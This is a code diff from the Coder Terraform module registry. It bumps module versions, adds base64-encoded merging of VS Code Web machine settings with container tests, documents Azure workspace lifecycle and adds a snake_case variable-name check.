icon = var.coder_app_icon
|
||||
slug = var.coder_app_slug
|
||||
display_name = var.coder_app_display_name
|
||||
|
||||
order = var.web_app_order
|
||||
group = var.web_app_group
|
||||
order = var.coder_app_order
|
||||
group = var.coder_app_group
|
||||
|
||||
url = join("", [
|
||||
var.protocol,
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "vscode" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-desktop/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "vscode" {
|
||||
module "vscode" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-desktop/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ variable "group" {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ Automatically install [Visual Studio Code Server](https://code.visualstudio.com/
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "1.5.0"
|
||||
agent_id = coder_agent.example.id
|
||||
accept_license = true
|
||||
}
|
||||
@@ -30,7 +30,7 @@ module "vscode-web" {
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "1.5.0"
|
||||
agent_id = coder_agent.example.id
|
||||
install_prefix = "/home/coder/.vscode-web"
|
||||
folder = "/home/coder"
|
||||
@@ -44,22 +44,22 @@ module "vscode-web" {
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "1.5.0"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = ["github.copilot", "ms-python.python", "ms-toolsai.jupyter"]
|
||||
accept_license = true
|
||||
}
|
||||
```
|
||||
|
||||
### Pre-configure Settings
|
||||
### Pre-configure Machine Settings
|
||||
|
||||
Configure VS Code's [settings.json](https://code.visualstudio.com/docs/getstarted/settings#_settings-json-file) file:
|
||||
Configure VS Code's [Machine settings.json](https://code.visualstudio.com/docs/getstarted/settings#_settings-json-file). These settings are merged with any existing machine settings on startup:
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "1.5.0"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = ["dracula-theme.theme-dracula"]
|
||||
settings = {
|
||||
@@ -69,6 +69,9 @@ module "vscode-web" {
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Merging settings requires `jq` or `python3`. If neither is available, existing machine settings will be preserved. User settings configured through the VS Code UI are stored in browser local storage and will not persist across different browsers or devices.
|
||||
|
||||
### Pin a specific VS Code Web version
|
||||
|
||||
By default, this module installs the latest. To pin a specific version, retrieve the commit ID from the [VS Code Update API](https://update.code.visualstudio.com/api/commits/stable/server-linux-x64-web) and verify its corresponding release on the [VS Code GitHub Releases](https://github.com/microsoft/vscode/releases).
|
||||
@@ -77,7 +80,7 @@ By default, this module installs the latest. To pin a specific version, retrieve
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "1.5.0"
|
||||
agent_id = coder_agent.example.id
|
||||
commit_id = "e54c774e0add60467559eb0d1e229c6452cf8447"
|
||||
accept_license = true
|
||||
@@ -93,7 +96,7 @@ Note: Either `workspace` or `folder` can be used, but not both simultaneously. T
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "1.5.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workspace = "/home/coder/coder.code-workspace"
|
||||
}
|
||||
|
||||
@@ -1,42 +1,298 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import { runTerraformApply, runTerraformInit } from "~test";
|
||||
import {
|
||||
describe,
|
||||
expect,
|
||||
it,
|
||||
beforeAll,
|
||||
afterEach,
|
||||
setDefaultTimeout,
|
||||
} from "bun:test";
|
||||
import {
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
runContainer,
|
||||
execContainer,
|
||||
removeContainer,
|
||||
findResourceInstance,
|
||||
} from "~test";
|
||||
|
||||
// Set timeout to 2 minutes for tests that install packages
|
||||
setDefaultTimeout(2 * 60 * 1000);
|
||||
|
||||
let cleanupContainers: string[] = [];
|
||||
|
||||
afterEach(async () => {
|
||||
for (const id of cleanupContainers) {
|
||||
try {
|
||||
await removeContainer(id);
|
||||
} catch {
|
||||
// Ignore cleanup errors
|
||||
}
|
||||
}
|
||||
cleanupContainers = [];
|
||||
});
|
||||
|
||||
describe("vscode-web", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
it("accept_license should be set to true", () => {
|
||||
const t = async () => {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "false",
|
||||
});
|
||||
};
|
||||
expect(t).toThrow("Invalid value for variable");
|
||||
beforeAll(async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
});
|
||||
|
||||
it("use_cached and offline can not be used together", () => {
|
||||
const t = async () => {
|
||||
it("accept_license should be set to true", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "true",
|
||||
use_cached: "true",
|
||||
offline: "true",
|
||||
accept_license: false,
|
||||
});
|
||||
};
|
||||
expect(t).toThrow("Offline and Use Cached can not be used together");
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain("Invalid value for variable");
|
||||
}
|
||||
});
|
||||
|
||||
it("offline and extensions can not be used together", () => {
|
||||
const t = async () => {
|
||||
it("use_cached and offline can not be used together", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "true",
|
||||
offline: "true",
|
||||
extensions: '["1", "2"]',
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
offline: true,
|
||||
});
|
||||
};
|
||||
expect(t).toThrow("Offline mode does not allow extensions to be installed");
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain(
|
||||
"Offline and Use Cached can not be used together",
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
// More tests depend on shebang refactors
|
||||
it("offline and extensions can not be used together", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
offline: true,
|
||||
extensions: '["ms-python.python"]',
|
||||
});
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain(
|
||||
"Offline mode does not allow extensions to be installed",
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("creates settings file with correct content", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
settings: '{"editor.fontSize": 14}',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code-server CLI that the script expects
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /tmp/vscode-web/bin && cat > /tmp/vscode-web/bin/code-server << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "Mock code-server running"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /tmp/vscode-web/bin/code-server`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const scriptResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
expect(scriptResult.exitCode).toBe(0);
|
||||
|
||||
// Check that settings file was created
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
expect(settingsResult.stdout).toContain("editor.fontSize");
|
||||
expect(settingsResult.stdout).toContain("14");
|
||||
});
|
||||
|
||||
it("merges settings with existing settings file", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
settings: '{"new.setting": "new_value"}',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Install jq and create mock code-server CLI
|
||||
await execContainer(containerId, ["apt-get", "update", "-qq"]);
|
||||
await execContainer(containerId, ["apt-get", "install", "-y", "-qq", "jq"]);
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /tmp/vscode-web/bin && cat > /tmp/vscode-web/bin/code-server << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "Mock code-server running"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /tmp/vscode-web/bin/code-server`,
|
||||
]);
|
||||
|
||||
// Pre-create an existing settings file
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /root/.vscode-server/data/Machine && echo '{"existing.setting": "existing_value"}' > /root/.vscode-server/data/Machine/settings.json`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const scriptResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
expect(scriptResult.exitCode).toBe(0);
|
||||
|
||||
// Check that settings were merged (both existing and new should be present)
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
// Should contain both existing and new settings
|
||||
expect(settingsResult.stdout).toContain("existing.setting");
|
||||
expect(settingsResult.stdout).toContain("existing_value");
|
||||
expect(settingsResult.stdout).toContain("new.setting");
|
||||
expect(settingsResult.stdout).toContain("new_value");
|
||||
});
|
||||
|
||||
it("merges settings using python3 fallback when jq unavailable", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
settings: '{"new.setting": "new_value"}',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Install python3 (ubuntu:22.04 doesn't have it by default)
|
||||
await execContainer(containerId, ["apt-get", "update", "-qq"]);
|
||||
await execContainer(containerId, [
|
||||
"apt-get",
|
||||
"install",
|
||||
"-y",
|
||||
"-qq",
|
||||
"python3",
|
||||
]);
|
||||
|
||||
// Create mock code-server CLI (no jq installed)
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /tmp/vscode-web/bin && cat > /tmp/vscode-web/bin/code-server << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "Mock code-server running"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /tmp/vscode-web/bin/code-server`,
|
||||
]);
|
||||
|
||||
// Pre-create an existing settings file
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /root/.vscode-server/data/Machine && echo '{"existing.setting": "existing_value"}' > /root/.vscode-server/data/Machine/settings.json`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const scriptResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
expect(scriptResult.exitCode).toBe(0);
|
||||
|
||||
// Check that settings were merged using python3 fallback
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
// Should contain both existing and new settings
|
||||
expect(settingsResult.stdout).toContain("existing.setting");
|
||||
expect(settingsResult.stdout).toContain("existing_value");
|
||||
expect(settingsResult.stdout).toContain("new.setting");
|
||||
expect(settingsResult.stdout).toContain("new_value");
|
||||
});
|
||||
|
||||
it("preserves existing settings when neither jq nor python3 available", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
settings: '{"new.setting": "new_value"}',
|
||||
});
|
||||
|
||||
// Use ubuntu without installing jq or python3 (neither available by default)
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create mock code-server CLI
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /tmp/vscode-web/bin && cat > /tmp/vscode-web/bin/code-server << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "Mock code-server running"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /tmp/vscode-web/bin/code-server`,
|
||||
]);
|
||||
|
||||
// Pre-create an existing settings file
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /root/.vscode-server/data/Machine && echo '{"existing.setting": "existing_value"}' > /root/.vscode-server/data/Machine/settings.json`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
// Run script - should warn but not fail
|
||||
const scriptResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
expect(scriptResult.exitCode).toBe(0);
|
||||
expect(scriptResult.stdout).toContain("Could not merge settings");
|
||||
|
||||
// Existing settings should be preserved (not overwritten)
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
expect(settingsResult.stdout).toContain("existing.setting");
|
||||
expect(settingsResult.stdout).toContain("existing_value");
|
||||
expect(settingsResult.stdout).not.toContain("new.setting");
|
||||
expect(settingsResult.stdout).not.toContain("new_value");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -105,7 +105,7 @@ variable "group" {
|
||||
|
||||
variable "settings" {
|
||||
type = any
|
||||
description = "A map of settings to apply to VS Code web."
|
||||
description = "A map of settings to apply to VS Code Web's Machine settings. These settings are merged with any existing machine settings on startup."
|
||||
default = {}
|
||||
}
|
||||
|
||||
@@ -167,6 +167,10 @@ variable "workspace" {
|
||||
data "coder_workspace_owner" "me" {}
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
locals {
|
||||
settings_b64 = var.settings != {} ? base64encode(jsonencode(var.settings)) : ""
|
||||
}
|
||||
|
||||
resource "coder_script" "vscode-web" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "VS Code Web"
|
||||
@@ -177,8 +181,7 @@ resource "coder_script" "vscode-web" {
|
||||
INSTALL_PREFIX : var.install_prefix,
|
||||
EXTENSIONS : join(",", var.extensions),
|
||||
TELEMETRY_LEVEL : var.telemetry_level,
|
||||
// This is necessary otherwise the quotes are stripped!
|
||||
SETTINGS : replace(jsonencode(var.settings), "\"", "\\\""),
|
||||
SETTINGS_B64 : local.settings_b64,
|
||||
OFFLINE : var.offline,
|
||||
USE_CACHED : var.use_cached,
|
||||
DISABLE_TRUST : var.disable_trust,
|
||||
|
||||
@@ -4,13 +4,54 @@ BOLD='\033[0;1m'
|
||||
EXTENSIONS=("${EXTENSIONS}")
|
||||
VSCODE_WEB="${INSTALL_PREFIX}/bin/code-server"
|
||||
|
||||
# Merge settings from module with existing settings file
|
||||
# Uses jq if available, falls back to Python3 for deep merge
|
||||
merge_settings() {
|
||||
local new_settings="$1"
|
||||
local settings_file="$2"
|
||||
|
||||
if [ -z "$new_settings" ] || [ "$new_settings" = "{}" ]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ ! -f "$settings_file" ]; then
|
||||
mkdir -p "$(dirname "$settings_file")"
|
||||
printf '%s\n' "$new_settings" > "$settings_file"
|
||||
printf "⚙️ Creating settings file...\n"
|
||||
return 0
|
||||
fi
|
||||
|
||||
local tmpfile
|
||||
tmpfile="$(mktemp)"
|
||||
|
||||
if command -v jq > /dev/null 2>&1; then
|
||||
if jq -s '.[0] * .[1]' "$settings_file" <(printf '%s\n' "$new_settings") > "$tmpfile" 2> /dev/null; then
|
||||
mv "$tmpfile" "$settings_file"
|
||||
printf "⚙️ Merging settings...\n"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
if command -v python3 > /dev/null 2>&1; then
|
||||
if python3 -c "import json,sys;m=lambda a,b:{**a,**{k:m(a[k],v)if k in a and type(a[k])==type(v)==dict else v for k,v in b.items()}};print(json.dumps(m(json.load(open(sys.argv[1])),json.loads(sys.argv[2])),indent=2))" "$settings_file" "$new_settings" > "$tmpfile" 2> /dev/null; then
|
||||
mv "$tmpfile" "$settings_file"
|
||||
printf "⚙️ Merging settings...\n"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
rm -f "$tmpfile"
|
||||
printf "Warning: Could not merge settings (jq or python3 required). Keeping existing settings.\n"
|
||||
return 0
|
||||
}
|
||||
|
||||
# Set extension directory
|
||||
EXTENSION_ARG=""
|
||||
if [ -n "${EXTENSIONS_DIR}" ]; then
|
||||
EXTENSION_ARG="--extensions-dir=${EXTENSIONS_DIR}"
|
||||
fi
|
||||
|
||||
# Set extension directory
|
||||
# Set server base path
|
||||
SERVER_BASE_PATH_ARG=""
|
||||
if [ -n "${SERVER_BASE_PATH}" ]; then
|
||||
SERVER_BASE_PATH_ARG="--server-base-path=${SERVER_BASE_PATH}"
|
||||
@@ -28,11 +69,14 @@ run_vscode_web() {
|
||||
"$VSCODE_WEB" serve-local "$EXTENSION_ARG" "$SERVER_BASE_PATH_ARG" "$DISABLE_TRUST_ARG" --port "${PORT}" --host 127.0.0.1 --accept-server-license-terms --without-connection-token --telemetry-level "${TELEMETRY_LEVEL}" > "${LOG_PATH}" 2>&1 &
|
||||
}
|
||||
|
||||
# Check if the settings file exists...
|
||||
if [ ! -f ~/.vscode-server/data/Machine/settings.json ]; then
|
||||
echo "⚙️ Creating settings file..."
|
||||
mkdir -p ~/.vscode-server/data/Machine
|
||||
echo "${SETTINGS}" > ~/.vscode-server/data/Machine/settings.json
|
||||
# Apply machine settings (merge with existing if present)
|
||||
SETTINGS_B64='${SETTINGS_B64}'
|
||||
if [ -n "$SETTINGS_B64" ]; then
|
||||
if SETTINGS_JSON="$(echo -n "$SETTINGS_B64" | base64 -d 2> /dev/null)" && [ -n "$SETTINGS_JSON" ]; then
|
||||
merge_settings "$SETTINGS_JSON" ~/.vscode-server/data/Machine/settings.json
|
||||
else
|
||||
printf "Warning: Failed to decode settings. Skipping settings configuration.\n"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Check if vscode-server is already installed for offline or cached mode
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "windsurf" {
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -65,7 +65,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -27,8 +27,21 @@ This template provisions the following resources:
|
||||
|
||||
- Azure VM (ephemeral, deleted on stop)
|
||||
- Managed disk (persistent, mounted to `/home/coder`)
|
||||
- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)
|
||||
|
||||
This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
|
||||
### What happens on stop
|
||||
|
||||
When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
|
||||
|
||||
This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
|
||||
|
||||
### What happens on delete
|
||||
|
||||
When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
|
||||
|
||||
### Workspace restarts
|
||||
|
||||
Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
|
||||
|
||||
> [!NOTE]
|
||||
> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "positron" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/cytoshahar/positron/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "positron" {
|
||||
module "positron" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/cytoshahar/positron/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
|
||||
@@ -41,13 +41,13 @@ variable "group" {
|
||||
variable "slug" {
|
||||
type = string
|
||||
description = "The slug of the app."
|
||||
default = "cursor"
|
||||
default = "positron"
|
||||
}
|
||||
|
||||
variable "display_name" {
|
||||
type = string
|
||||
description = "The display name of the app."
|
||||
default = "Cursor Desktop"
|
||||
default = "Positron Desktop"
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
@@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -11,6 +11,34 @@ set -euo pipefail
|
||||
#
|
||||
# This script only validates changed modules. Documentation and template changes are ignored.
|
||||
|
||||
# Validates that Terraform variable names use underscores (snake_case) instead
|
||||
# of hyphens. Hyphens are technically valid but deprecated and non-idiomatic.
|
||||
# See: https://developer.hashicorp.com/terraform/language/values/variables
|
||||
validate_variable_names() {
|
||||
local dir="$1"
|
||||
local found_issues=0
|
||||
|
||||
while IFS= read -r tf_file; do
|
||||
while IFS= read -r match; do
|
||||
local line_num
|
||||
line_num=$(echo "$match" | cut -d: -f1)
|
||||
local line_content
|
||||
line_content=$(echo "$match" | cut -d: -f2-)
|
||||
local var_name
|
||||
var_name=$(echo "$line_content" | sed -n 's/.*variable "\([^"]*\)".*/\1/p')
|
||||
|
||||
if [[ -n "$var_name" ]]; then
|
||||
echo " ERROR: $tf_file:$line_num"
|
||||
echo " Variable \"$var_name\" contains a hyphen."
|
||||
echo " Rename to \"${var_name//-/_}\" (use underscores instead of hyphens)."
|
||||
found_issues=$((found_issues + 1))
|
||||
fi
|
||||
done < <(grep -n 'variable "[^"]*-[^"]*"' "$tf_file" 2> /dev/null || true)
|
||||
done < <(find "$dir" -name '*.tf' -type f | sort)
|
||||
|
||||
return "$found_issues"
|
||||
}
|
||||
|
||||
validate_terraform_directory() {
|
||||
local dir="$1"
|
||||
echo "Running \`terraform validate\` in $dir"
|
||||
@@ -91,6 +119,16 @@ main() {
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "==> Validating Terraform variable names use snake_case..."
|
||||
for dir in $subdirs; do
|
||||
if test -f "$dir/main.tf"; then
|
||||
if ! validate_variable_names "$dir"; then
|
||||
status=1
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
exit $status
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user